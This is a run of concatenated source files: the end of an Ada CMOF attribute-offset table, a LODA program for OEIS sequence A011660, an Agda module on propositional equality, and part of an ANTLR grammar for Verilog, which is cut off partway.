9, -- RedefinableElement::redefinitionContext 74 => 4, -- Property::subsettedProperty others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Tag => (78 => 3, -- Tag::element 53 => 2, -- Element::ownedComment 54 => 1, -- Element::ownedElement others => 0)); CMOF_Member_Offset : constant array (AMF.Internals.Tables.CMOF_Types.Element_Kinds, AMF.Internals.CMOF_Element range 79 .. 135) of Natural := (AMF.Internals.Tables.CMOF_Types.E_None => (others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Association => (79 => 13, -- Association::isDerived 81 => 7, -- Classifier::isFinalSpecialization 95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 85 => 1, -- Element::owner 134 => 6, -- Type::package 97 => 5, -- NamedElement::qualifiedName 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Class => (80 => 8, -- Class::isAbstract 81 => 7, -- Classifier::isFinalSpecialization 95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 85 => 1, -- Element::owner 134 => 6, -- Type::package 97 => 5, -- NamedElement::qualifiedName 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Comment => (82 => 2, -- Comment::body 85 => 1, -- Element::owner others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Constraint => (83 => 7, -- Constraint::context 95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 85 => 1, -- Element::owner 97 => 5, -- NamedElement::qualifiedName 84 => 6, -- Constraint::specification 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Data_Type => (81 => 7, -- Classifier::isFinalSpecialization 95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 85 => 1, -- Element::owner 134 => 6, -- Type::package 97 => 5, -- NamedElement::qualifiedName 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Element_Import => (86 => 3, -- ElementImport::alias 87 => 4, -- ElementImport::importedElement 88 => 5, -- ElementImport::importingNamespace 85 => 1, -- Element::owner 89 => 2, -- ElementImport::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Enumeration => (81 => 7, -- Classifier::isFinalSpecialization 95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 85 => 1, -- Element::owner 134 => 6, -- Type::package 97 => 5, -- NamedElement::qualifiedName 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Enumeration_Literal => (90 => 6, -- EnumerationLiteral::enumeration 95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 85 => 1, -- Element::owner 97 => 5, -- NamedElement::qualifiedName 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Expression => (95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 85 => 1, -- Element::owner 97 => 5, -- NamedElement::qualifiedName 135 => 6, -- TypedElement::type 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Opaque_Expression => (99 => 7, -- OpaqueExpression::body 100 => 8, -- OpaqueExpression::language 95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 85 => 1, -- Element::owner 97 => 5, -- NamedElement::qualifiedName 135 => 6, -- TypedElement::type 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Operation => (101 => 15, -- Operation::bodyCondition 102 => 12, -- Operation::class 103 => 13, -- Operation::datatype 130 => 11, -- RedefinableElement::isLeaf 104 => 7, -- Operation::isOrdered 105 => 6, -- Operation::isQuery 106 => 8, -- Operation::isUnique 107 => 9, -- Operation::lower 95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 85 => 1, -- Element::owner 97 => 5, -- NamedElement::qualifiedName 108 => 14, -- Operation::type 109 => 10, -- Operation::upper 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Package => (95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 110 => 6, -- Package::nestingPackage 85 => 1, -- Element::owner 97 => 5, -- NamedElement::qualifiedName 111 => 7, -- Package::uri 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Package_Import => (112 => 3, -- PackageImport::importedPackage 113 => 4, -- PackageImport::importingNamespace 85 => 1, -- Element::owner 114 => 2, -- PackageImport::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Package_Merge => (115 => 3, -- PackageMerge::mergedPackage 85 => 1, -- Element::owner 116 => 2, -- PackageMerge::receivingPackage others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Parameter => (117 => 12, -- Parameter::default 118 => 11, -- Parameter::direction 91 => 7, -- MultiplicityElement::isOrdered 92 => 8, -- MultiplicityElement::isUnique 93 => 9, -- MultiplicityElement::lower 95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 119 => 13, -- Parameter::operation 85 => 1, -- Element::owner 97 => 5, -- NamedElement::qualifiedName 135 => 6, -- TypedElement::type 94 => 10, -- MultiplicityElement::upper 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Primitive_Type => (81 => 7, -- Classifier::isFinalSpecialization 95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 85 => 1, -- Element::owner 134 => 6, -- Type::package 97 => 5, -- NamedElement::qualifiedName 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Property => (120 => 21, -- Property::association 121 => 17, -- Property::class 122 => 20, -- Property::datatype 123 => 12, -- Property::default 124 => 15, -- Property::isComposite 125 => 13, -- Property::isDerived 126 => 16, -- Property::isDerivedUnion 130 => 11, -- RedefinableElement::isLeaf 91 => 7, -- MultiplicityElement::isOrdered 127 => 14, -- Property::isReadOnly 92 => 8, -- MultiplicityElement::isUnique 93 => 9, -- MultiplicityElement::lower 95 => 2, -- NamedElement::name 96 => 4, -- NamedElement::namespace 128 => 19, -- Property::opposite 85 => 1, -- Element::owner 129 => 18, -- Property::owningAssociation 97 => 5, -- NamedElement::qualifiedName 135 => 6, -- TypedElement::type 94 => 10, -- MultiplicityElement::upper 98 => 3, -- NamedElement::visibility others => 0), AMF.Internals.Tables.CMOF_Types.E_CMOF_Tag => (131 => 2, -- Tag::name 85 => 1, -- Element::owner 132 => 4, -- Tag::tagOwner 133 => 3, -- Tag::value others => 0)); end AMF.Internals.Tables.CMOF_Attribute_Mappings;
programs/oeis/011/A011660.asm
neoneye/loda
22
81052
; A011660: A binary m-sequence: expansion of reciprocal of x^5+x^4+x^2+x+1. ; 0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1 mul $0,3 add $0,2 mul $0,5 seq $0,11751 ; Expansion of (1 + x^4)/(1 + x + x^3 + x^4 + x^5) mod 2.
examples/outdated-and-incorrect/AIM6/Cat/lib/Logic/Identity.agda
asr/agda-kanso
1
1084
<reponame>asr/agda-kanso<filename>examples/outdated-and-incorrect/AIM6/Cat/lib/Logic/Identity.agda module Logic.Identity where open import Logic.Equivalence open import Logic.Base infix 20 _≡_ _≢_ data _≡_ {A : Set}(x : A) : A -> Set where refl : x ≡ x subst : {A : Set}(P : A -> Set){x y : A} -> x ≡ y -> P y -> P x subst P {x} .{x} refl px = px sym : {A : Set}{x y : A} -> x ≡ y -> y ≡ x sym {A} refl = refl trans : {A : Set}{x y z : A} -> x ≡ y -> y ≡ z -> x ≡ z trans {A} refl xz = xz cong : {A B : Set}(f : A -> B){x y : A} -> x ≡ y -> f x ≡ f y cong {A} f refl = refl cong2 : {A B C : Set}(f : A -> B -> C){x z : A}{y w : B} -> x ≡ z -> y ≡ w -> f x y ≡ f z w cong2 {A}{B} f refl refl = refl Equiv : {A : Set} -> Equivalence A Equiv = record { _==_ = _≡_ ; refl = \x -> refl ; sym = \x y -> sym ; trans = \x y z -> trans } _≢_ : {A : Set} -> A -> A -> Set x ≢ y = ¬ (x ≡ y) sym≢ : {A : Set}{x y : A} -> x ≢ y -> y ≢ x sym≢ np p = np (sym p)
src/dovado_rtl/antlr/grammars/VerilogParser.g4
DavideConficconi/dovado
0
7844
// Author: <NAME> // License: MIT parser grammar VerilogParser; options { tokenVocab=VerilogLexer; } // 17. System tasks and functions // 17.1 Display system tasks // 17.1.1 The display and write tasks display_tasks : display_task_name (LEFT_PARENTHESIS list_of_arguments RIGHT_PARENTHESIS)? SEMICOLON ; display_task_name : DOLLAR_DISPLAY | DOLLAR_DISPLAYB | DOLLAR_DISPLAYO | DOLLAR_DISPLAYH | DOLLAR_WRITE | DOLLAR_WRITEB | DOLLAR_WRITEO | DOLLAR_WRITEH ; list_of_arguments : argument? (COMMA argument)* ; argument : expression | constant_expression | time_function | stime_function | realtime_function ; // 17.1.2 Strobed monitoring strobe_tasks : strobe_task_name (LEFT_PARENTHESIS list_of_arguments RIGHT_PARENTHESIS)? SEMICOLON ; strobe_task_name : DOLLAR_STROBE | DOLLAR_STROBEB | DOLLAR_STROBEO | DOLLAR_STROBEH ; // 17.1.3 Continuous monitoring monitor_tasks : monitor_task_name (LEFT_PARENTHESIS list_of_arguments RIGHT_PARENTHESIS)? SEMICOLON | DOLLAR_MONITORON SEMICOLON | DOLLAR_MONITOROFF SEMICOLON ; monitor_task_name : DOLLAR_MONITOR | DOLLAR_MONITORB | DOLLAR_MONITORO | DOLLAR_MONITORH ; // 17.2 File input-output system tasks and functions // 17.2.1 Opening and closing files file_open_function : multi_channel_descriptor EQUAL DOLLAR_FOPEN LEFT_PARENTHESIS file_name RIGHT_PARENTHESIS SEMICOLON | fd EQUAL DOLLAR_FOPEN LEFT_PARENTHESIS file_name COMMA type_ RIGHT_PARENTHESIS SEMICOLON ; file_close_task : DOLLAR_FCLOSE LEFT_PARENTHESIS multi_channel_descriptor RIGHT_PARENTHESIS SEMICOLON | DOLLAR_FCLOSE LEFT_PARENTHESIS fd RIGHT_PARENTHESIS SEMICOLON ; multi_channel_descriptor : variable_identifier ; fd : variable_identifier ; file_name : STRING ; type_ : STRING | variable_identifier ; // 17.2.2 File output system tasks file_output_tasks : file_output_task_name LEFT_PARENTHESIS multi_channel_descriptor (COMMA list_of_arguments)? RIGHT_PARENTHESIS SEMICOLON | file_output_task_name LEFT_PARENTHESIS fd (COMMA list_of_arguments)? RIGHT_PARENTHESIS SEMICOLON ; file_output_task_name : DOLLAR_FDISPLAY | DOLLAR_FDISPLAYB | DOLLAR_FDISPLAYH | DOLLAR_FDISPLAYO | DOLLAR_FWRITE | DOLLAR_FWRITEB | DOLLAR_FWRITEH | DOLLAR_FWRITEO | DOLLAR_FSTROBE | DOLLAR_FSTROBEB | DOLLAR_FSTROBEH | DOLLAR_FSTROBEO | DOLLAR_FMONITOR | DOLLAR_FMONITORB | DOLLAR_FMONITORH | DOLLAR_FMONITORO ; // 17.2.9 Loading memory data from a file load_memory_tasks : DOLLAR_READMEMB LEFT_PARENTHESIS filename COMMA memory_name (COMMA start_addr (COMMA finish_addr)?)? RIGHT_PARENTHESIS SEMICOLON | DOLLAR_READMEMH LEFT_PARENTHESIS filename COMMA memory_name (COMMA start_addr (COMMA finish_addr)?)? RIGHT_PARENTHESIS SEMICOLON ; memory_name : variable_identifier ; start_addr : DECIMAL_NUMBER ; finish_addr : DECIMAL_NUMBER ; filename : STRING | variable_identifier ; // 17.4 Simulation control system tasks // 17.4.1 $finish finish_task : DOLLAR_FINISH (LEFT_PARENTHESIS finish_number RIGHT_PARENTHESIS)? SEMICOLON ; finish_number : DECIMAL_NUMBER ; // 17.4.2 $stop stop_task : DOLLAR_STOP (LEFT_PARENTHESIS finish_number RIGHT_PARENTHESIS)? SEMICOLON ; // 17.7 Simulation time system functions time_function : TIME ; // 17.7.2 $stime stime_function : DOLLAR_STIME ; // 17.7.3 $realtime realtime_function : REALTIME ; // 17.8 Conversion functions conversion_functions : conversion_function_name LEFT_PARENTHESIS constant_argument RIGHT_PARENTHESIS ; conversion_function_name : DOLLAR_RTOI | DOLLAR_ITOR | DOLLAR_REALTOBITS | DOLLAR_BITSTOREAL | DOLLAR_SIGNED | DOLLAR_UNSIGNED ; constant_argument : constant_expression ; // 17.9 Probabilistic distribution functions // 17.9.1 $random function random_function : DOLLAR_RANDOM (LEFT_PARENTHESIS seed RIGHT_PARENTHESIS)? ; seed : variable_identifier ; // 17.9.2 $dist_ functions dist_functions : DOLLAR_DIST_UNIFORM LEFT_PARENTHESIS seed COMMA start_ COMMA end RIGHT_PARENTHESIS | DOLLAR_DIST_NORMAL LEFT_PARENTHESIS seed COMMA mean COMMA standard_deviation RIGHT_PARENTHESIS | DOLLAR_DIST_EXPONENTIAL LEFT_PARENTHESIS seed COMMA mean RIGHT_PARENTHESIS | DOLLAR_DIST_POISSON LEFT_PARENTHESIS seed COMMA mean RIGHT_PARENTHESIS | DOLLAR_DIST_CHI_SQUARE LEFT_PARENTHESIS seed COMMA degree_of_freedom RIGHT_PARENTHESIS | DOLLAR_DIST_T LEFT_PARENTHESIS seed COMMA degree_of_freedom RIGHT_PARENTHESIS | DOLLAR_DIST_ERLANG LEFT_PARENTHESIS seed COMMA k_stage COMMA mean RIGHT_PARENTHESIS ; start_ : DECIMAL_NUMBER ; end : DECIMAL_NUMBER ; mean : DECIMAL_NUMBER ; standard_deviation : DECIMAL_NUMBER ; degree_of_freedom : DECIMAL_NUMBER ; k_stage : DECIMAL_NUMBER ; // 17.11 Math functions math_functions : integer_math_functions | real_math_functions ; integer_math_functions : DOLLAR_CLOG2 LEFT_PARENTHESIS constant_argument RIGHT_PARENTHESIS ; real_math_functions : single_argument_real_math_function_name LEFT_PARENTHESIS constant_argument RIGHT_PARENTHESIS | double_argument_real_math_function_name LEFT_PARENTHESIS constant_argument COMMA constant_argument RIGHT_PARENTHESIS ; single_argument_real_math_function_name : DOLLAR_LN | DOLLAR_LOG10 | DOLLAR_EXP | DOLLAR_SQRT | DOLLAR_FLOOR | DOLLAR_CEIL | DOLLAR_SIN | DOLLAR_COS | DOLLAR_TAN | DOLLAR_ASIN | DOLLAR_ACOS | DOLLAR_ATAN | DOLLAR_SINH | DOLLAR_COSH | DOLLAR_TANH | DOLLAR_ASINH | DOLLAR_ACOSH | DOLLAR_ATANH ; double_argument_real_math_function_name : DOLLAR_POW | DOLLAR_ATAN2 | DOLLAR_HYPOT ; // 18. Value change dump (VCD) files // 18.1 Creating four-state VCD file // 18.1.1 Specifying name of dump file ($dumpfile) dumpfile_task : DOLLAR_DUMPFILE LEFT_PARENTHESIS filename RIGHT_PARENTHESIS SEMICOLON ; // 18.1.2 Specifying variables to be dumped ($dumpvars) dumpvars_task : DOLLAR_DUMPVARS SEMICOLON | DOLLAR_DUMPVARS LEFT_PARENTHESIS levels (COMMA list_of_modules_or_variables)? RIGHT_PARENTHESIS SEMICOLON ; list_of_modules_or_variables : module_or_variable (COMMA module_or_variable)* ; module_or_variable : module_identifier | variable_identifier ; levels : DECIMAL_NUMBER ; // 18.1.3 Stopping and resuming the dump ($dumpoff/$dumpon) dumpoff_task : DOLLAR_DUMPOFF SEMICOLON ; dumpon_task : DOLLAR_DUMPON SEMICOLON ; // 18.1.4 Generating a checkpoint ($dumpall) dumpall_task : DOLLAR_DUMPALL SEMICOLON ; // 18.1.5 Limiting size of dump file ($dumplimit) dumplimit_task : DOLLAR_DUMPLIMIT LEFT_PARENTHESIS file_size RIGHT_PARENTHESIS SEMICOLON ; file_size : DECIMAL_NUMBER ; // 18.1.6 Reading dump file during simulation ($dumpflush) dumpflush_task : DOLLAR_DUMPFLUSH SEMICOLON ; // 18.3 Creating extended VCD file // 18.3.1 Specifying dump file name and ports to be dumped ($dumpports) dumpports_task : DOLLAR_DUMPPORTS LEFT_PARENTHESIS scope_list COMMA file_pathname RIGHT_PARENTHESIS SEMICOLON ; scope_list : module_identifier (COMMA module_identifier)* ; file_pathname : STRING | variable_identifier | expression ; // 18.3.2 Stopping and resuming the dump ($dumpportsoff/$dumpportson) dumpportsoff_task : DOLLAR_DUMPPORTSOFF LEFT_PARENTHESIS file_pathname RIGHT_PARENTHESIS SEMICOLON ; dumpportson_task : DOLLAR_DUMPPORTSON LEFT_PARENTHESIS file_pathname RIGHT_PARENTHESIS SEMICOLON ; // 18.3.3 Generating a checkpoint ($dumpportsall) dumpportsall_task : DOLLAR_DUMPPORTSALL LEFT_PARENTHESIS file_pathname RIGHT_PARENTHESIS SEMICOLON ; // 18.3.4 Limiting size of dump file ($dumpportslimit) dumpportslimit_task : DOLLAR_DUMPPORTSLIMIT LEFT_PARENTHESIS file_size COMMA file_pathname RIGHT_PARENTHESIS SEMICOLON ; // 18.3.5 Reading dump file during simulation ($dumpportsflush) dumpportsflush_task : DOLLAR_DUMPPORTSFLUSH LEFT_PARENTHESIS file_pathname RIGHT_PARENTHESIS SEMICOLON ; // A.1 Source text // A.1.1 Library source text library_text : library_description* ; library_description : library_declaration | include_statement | config_declaration ; library_declaration : LIBRARY library_identifier FILE_PATH_SPEC (COMMA FILE_PATH_SPEC)* (MINUS_INCDIR FILE_PATH_SPEC (COMMA FILE_PATH_SPEC)*)? SEMICOLON ; include_statement : INCLUDE FILE_PATH_SPEC SEMICOLON ; // A.1.2 Verilog source text // START SYMBOL source_text : description* EOF ; description : module_declaration | config_declaration ; module_declaration : attribute_instance* module_keyword module_identifier module_parameter_port_list? list_of_ports SEMICOLON module_item* ENDMODULE | attribute_instance* module_keyword module_identifier module_parameter_port_list? list_of_port_declarations? SEMICOLON non_port_module_item* ENDMODULE ; module_keyword : MODULE | MACROMODULE ; // A.1.3 Module parameters and ports module_parameter_port_list : HASH LEFT_PARENTHESIS parameter_declaration (COMMA parameter_declaration)* RIGHT_PARENTHESIS ; list_of_ports : LEFT_PARENTHESIS port (COMMA port)* RIGHT_PARENTHESIS ; list_of_port_declarations : LEFT_PARENTHESIS port_declaration (COMMA port_declaration)* RIGHT_PARENTHESIS | LEFT_PARENTHESIS RIGHT_PARENTHESIS ; port : port_expression? | DOT port_identifier LEFT_PARENTHESIS port_expression? RIGHT_PARENTHESIS ; port_expression : port_reference | LEFT_BRACE port_reference (COMMA port_reference)* RIGHT_BRACE ; port_reference : port_identifier (LEFT_BRACKET constant_range_expression RIGHT_BRACKET)? ; port_declaration : attribute_instance* inout_declaration | attribute_instance* input_declaration | attribute_instance* output_declaration ; // A.1.4 Module items module_item : port_declaration SEMICOLON | non_port_module_item ; module_or_generate_item : attribute_instance* module_or_generate_item_declaration | attribute_instance* local_parameter_declaration SEMICOLON | attribute_instance* parameter_override | attribute_instance* continuous_assign | attribute_instance* gate_instantiation | attribute_instance* module_instantiation | attribute_instance* initial_construct | attribute_instance* always_construct | attribute_instance* loop_generate_construct | attribute_instance* conditional_generate_construct ; module_or_generate_item_declaration : net_declaration | reg_declaration | integer_declaration | real_declaration | time_declaration | realtime_declaration | event_declaration | genvar_declaration | task_declaration | function_declaration ; non_port_module_item : module_or_generate_item | generate_region | specify_block | attribute_instance* parameter_declaration SEMICOLON | attribute_instance* specparam_declaration ; parameter_override : DEFPARAM list_of_param_assignments SEMICOLON ; // A.1.5 Configuration source text config_declaration : CONFIG config_identifier SEMICOLON design_statement config_rule_statement* ENDCONFIG ; design_statement : DESIGN ((library_identifier DOT)? cell_identifier)* SEMICOLON ; config_rule_statement : default_clause liblist_clause | inst_clause liblist_clause | inst_clause use_clause | cell_clause liblist_clause | cell_clause use_clause ; default_clause : DEFAULT ; inst_clause : INSTANCE inst_name ; inst_name : topmodule_identifier (DOT instance_identifier)* ; cell_clause : CELL (library_identifier DOT)? cell_identifier ; liblist_clause : LIBLIST library_identifier* ; use_clause : USE (library_identifier DOT)? cell_identifier (COLON CONFIG)? ; // A.2 Declarations // A.2.1 Declaration types // A.2.1.1 Module parameter declarations local_parameter_declaration : LOCALPARAM SIGNED? range_? list_of_param_assignments | LOCALPARAM parameter_type list_of_param_assignments ; parameter_declaration : PARAMETER SIGNED? range_? list_of_param_assignments | PARAMETER parameter_type list_of_param_assignments ; specparam_declaration : SPECPARAM range_? list_of_specparam_assignments SEMICOLON ; parameter_type : INTEGER | REAL | REALTIME | TIME ; // A.2.1.2 Port declarations inout_declaration : INOUT net_type? SIGNED? range_? list_of_port_identifiers ; input_declaration : INPUT net_type? SIGNED? range_? list_of_port_identifiers ; output_declaration : OUTPUT net_type? SIGNED? range_? list_of_port_identifiers | OUTPUT REG SIGNED? range_? list_of_variable_port_identifiers | OUTPUT output_variable_type list_of_variable_port_identifiers ; // A.2.1.3 Type declarations event_declaration : EVENT list_of_event_identifiers SEMICOLON ; integer_declaration : INTEGER list_of_variable_identifiers SEMICOLON ; net_declaration : net_type SIGNED? delay3? list_of_net_identifiers SEMICOLON | net_type drive_strength? SIGNED? delay3? list_of_net_decl_assignments SEMICOLON | net_type (VECTORED | SCALARED)? SIGNED? range_ delay3? list_of_net_identifiers SEMICOLON | net_type drive_strength? (VECTORED | SCALARED)? SIGNED? range_ delay3? list_of_net_decl_assignments SEMICOLON | TRIREG charge_strength? SIGNED? delay3? list_of_net_identifiers SEMICOLON | TRIREG drive_strength? SIGNED? delay3? list_of_net_decl_assignments SEMICOLON | TRIREG charge_strength? (VECTORED | SCALARED)? SIGNED? range_ delay3? list_of_net_identifiers SEMICOLON | TRIREG drive_strength? (VECTORED | SCALARED)? SIGNED? range_ delay3? list_of_net_decl_assignments SEMICOLON ; real_declaration : REAL list_of_real_identifiers SEMICOLON ; realtime_declaration : REALTIME list_of_real_identifiers SEMICOLON ; reg_declaration : REG SIGNED? range_? list_of_variable_identifiers SEMICOLON ; time_declaration : TIME list_of_variable_identifiers SEMICOLON ; // A.2.2 Declaration data types // A.2.2.1 Net and variable types net_type : SUPPLY0 | SUPPLY1 | TRI | TRIAND | TRIOR | TRI0 | TRI1 | WIRE | WAND | WOR ; output_variable_type : INTEGER | TIME ; real_type : real_identifier dimension* | real_identifier EQUAL constant_expression ; variable_type : variable_identifier dimension* | variable_identifier EQUAL constant_expression ; // A.2.2.2 Strengths drive_strength : LEFT_PARENTHESIS strength0 COMMA strength1 RIGHT_PARENTHESIS | LEFT_PARENTHESIS strength1 COMMA strength0 RIGHT_PARENTHESIS | LEFT_PARENTHESIS strength0 COMMA HIGHZ1 RIGHT_PARENTHESIS | LEFT_PARENTHESIS strength1 COMMA HIGHZ0 RIGHT_PARENTHESIS | LEFT_PARENTHESIS HIGHZ0 COMMA strength1 RIGHT_PARENTHESIS | LEFT_PARENTHESIS HIGHZ1 COMMA strength0 RIGHT_PARENTHESIS ; strength0 : SUPPLY0 | STRONG0 | PULL0 | WEAK0 ; strength1 : SUPPLY1 | STRONG1 | PULL1 | WEAK1 ; charge_strength : LEFT_PARENTHESIS SMALL RIGHT_PARENTHESIS | LEFT_PARENTHESIS MEDIUM RIGHT_PARENTHESIS | LEFT_PARENTHESIS LARGE RIGHT_PARENTHESIS ; // A.2.2.3 Delays delay3 : HASH delay_value | HASH LEFT_PARENTHESIS mintypmax_expression (COMMA mintypmax_expression (COMMA mintypmax_expression)?)? RIGHT_PARENTHESIS ; delay2 : HASH delay_value | HASH LEFT_PARENTHESIS mintypmax_expression (COMMA mintypmax_expression)? RIGHT_PARENTHESIS ; delay_value : DECIMAL_NUMBER | REAL_NUMBER | identifier ; // A.2.3 Declaration lists list_of_defparam_assignments : defparam_assignment (COMMA defparam_assignment)* ; list_of_event_identifiers : event_identifier dimension*? (COMMA event_identifier dimension*?)* ; list_of_net_decl_assignments : net_decl_assignment (COMMA net_decl_assignment)* ; list_of_net_identifiers : net_identifier dimension*? (COMMA net_identifier dimension*?)* ; list_of_param_assignments : param_assignment (COMMA param_assignment)* ; list_of_port_identifiers : port_identifier (COMMA port_identifier)* ; list_of_real_identifiers : real_type (COMMA real_type)* ; list_of_specparam_assignments : specparam_assignment (COMMA specparam_assignment)* ; list_of_variable_identifiers : variable_type (COMMA variable_type)* ; list_of_variable_port_identifiers : port_identifier (EQUAL constant_expression)? (COMMA port_identifier (EQUAL constant_expression)?)* ; // A.2.4 Declaration assignments defparam_assignment : hierarchical_parameter_identifier EQUAL constant_mintypmax_expression ; net_decl_assignment : net_identifier EQUAL expression ; param_assignment : parameter_identifier EQUAL constant_mintypmax_expression ; specparam_assignment : specparam_identifier EQUAL constant_mintypmax_expression | pulse_control_specparam ; pulse_control_specparam : PATHPULSE_DOLLAR EQUAL LEFT_PARENTHESIS reject_limit_value (COMMA error_limit_value)? RIGHT_PARENTHESIS | PATHPULSE_DOLLAR specify_input_terminal_descriptor DOT specify_output_terminal_descriptor EQUAL LEFT_PARENTHESIS reject_limit_value (COMMA error_limit_value)? RIGHT_PARENTHESIS ; error_limit_value : limit_value ; reject_limit_value : limit_value ; limit_value : constant_mintypmax_expression ; // A.2.5 Declaration ranges dimension : LEFT_BRACKET dimension_constant_expression COLON dimension_constant_expression RIGHT_BRACKET ; range_ : LEFT_BRACKET msb_constant_expression COLON lsb_constant_expression RIGHT_BRACKET ; // A.2.6 Function declarations function_declaration : FUNCTION AUTOMATIC? function_range_or_type? function_identifier SEMICOLON function_item_declaration function_item_declaration* function_statement ENDFUNCTION | FUNCTION AUTOMATIC? function_range_or_type? function_identifier LEFT_PARENTHESIS function_port_list RIGHT_PARENTHESIS SEMICOLON block_item_declaration* function_statement ENDFUNCTION ; function_item_declaration : block_item_declaration | attribute_instance* tf_input_declaration SEMICOLON ; function_port_list : attribute_instance* tf_input_declaration (COMMA attribute_instance* tf_input_declaration)* ; function_range_or_type : SIGNED? range_ | INTEGER | REAL | REALTIME | TIME ; // A.2.7 Task declarations task_declaration : TASK AUTOMATIC? task_identifier SEMICOLON task_item_declaration* statement_or_null ENDTASK | TASK AUTOMATIC? task_identifier LEFT_PARENTHESIS task_port_list? RIGHT_PARENTHESIS SEMICOLON block_item_declaration* statement_or_null ENDTASK ; task_item_declaration : block_item_declaration | attribute_instance* tf_input_declaration SEMICOLON | attribute_instance* tf_output_declaration SEMICOLON | attribute_instance* tf_inout_declaration SEMICOLON ; task_port_list : task_port_item (COMMA task_port_item)* ; task_port_item : attribute_instance* tf_input_declaration | attribute_instance* tf_output_declaration | attribute_instance* tf_inout_declaration ; tf_input_declaration : INPUT REG? SIGNED? range_? list_of_port_identifiers | INPUT task_port_type list_of_port_identifiers ; tf_output_declaration : OUTPUT REG? SIGNED? range_? list_of_port_identifiers | OUTPUT task_port_type list_of_port_identifiers ; tf_inout_declaration : INOUT REG? SIGNED? range_? list_of_port_identifiers | INOUT task_port_type list_of_port_identifiers ; task_port_type : INTEGER | REAL | REALTIME | TIME ; // A.2.8 Block item declarations block_item_declaration : attribute_instance* REG SIGNED? range_? list_of_block_variable_identifiers SEMICOLON | attribute_instance* INTEGER list_of_block_variable_identifiers SEMICOLON | attribute_instance* TIME list_of_block_variable_identifiers SEMICOLON | attribute_instance* REAL list_of_block_real_identifiers SEMICOLON | attribute_instance* REALTIME list_of_block_real_identifiers SEMICOLON | attribute_instance* event_declaration | attribute_instance* local_parameter_declaration SEMICOLON | attribute_instance* parameter_declaration SEMICOLON ; list_of_block_variable_identifiers : block_variable_type (COMMA block_variable_type)* ; list_of_block_real_identifiers : block_real_type (COMMA block_real_type)* ; block_variable_type : variable_identifier dimension* ; block_real_type : real_identifier dimension* ; // A.3 Primitive instances // A.3.1 Primitive instantiation and instances gate_instantiation : cmos_switchtype delay3? cmos_switch_instance (COMMA cmos_switch_instance)* SEMICOLON | enable_gatetype drive_strength? delay3? enable_gate_instance (COMMA enable_gate_instance)* SEMICOLON | mos_switchtype delay3? mos_switch_instance (COMMA mos_switch_instance)* SEMICOLON | n_input_gatetype drive_strength? delay2? n_input_gate_instance (COMMA n_input_gate_instance)* SEMICOLON | n_output_gatetype drive_strength? delay2? n_output_gate_instance (COMMA n_output_gate_instance)* SEMICOLON | pass_en_switchtype delay2? pass_enable_switch_instance (COMMA pass_enable_switch_instance)* SEMICOLON | pass_switchtype pass_switch_instance (COMMA pass_switch_instance)* SEMICOLON | PULLDOWN pulldown_strength? pull_gate_instance (COMMA pull_gate_instance)* SEMICOLON | PULLUP pullup_strength? pull_gate_instance (COMMA pull_gate_instance)* SEMICOLON ; cmos_switch_instance : name_of_gate_instance? LEFT_PARENTHESIS output_terminal COMMA input_terminal COMMA ncontrol_terminal COMMA pcontrol_terminal RIGHT_PARENTHESIS ; enable_gate_instance : name_of_gate_instance? LEFT_PARENTHESIS output_terminal COMMA input_terminal COMMA enable_terminal RIGHT_PARENTHESIS ; mos_switch_instance : name_of_gate_instance? LEFT_PARENTHESIS output_terminal COMMA input_terminal COMMA enable_terminal RIGHT_PARENTHESIS ; n_input_gate_instance : name_of_gate_instance? LEFT_PARENTHESIS output_terminal COMMA input_terminal (COMMA input_terminal)* RIGHT_PARENTHESIS ; n_output_gate_instance : name_of_gate_instance? LEFT_PARENTHESIS output_terminal (COMMA output_terminal)* COMMA input_terminal RIGHT_PARENTHESIS ; pass_switch_instance : name_of_gate_instance? LEFT_PARENTHESIS inout_terminal COMMA inout_terminal RIGHT_PARENTHESIS ; pass_enable_switch_instance : name_of_gate_instance? LEFT_PARENTHESIS inout_terminal COMMA inout_terminal COMMA enable_terminal RIGHT_PARENTHESIS ; pull_gate_instance : name_of_gate_instance? LEFT_PARENTHESIS output_terminal RIGHT_PARENTHESIS ; name_of_gate_instance : gate_instance_identifier range_? ; // A.3.2 Primitive 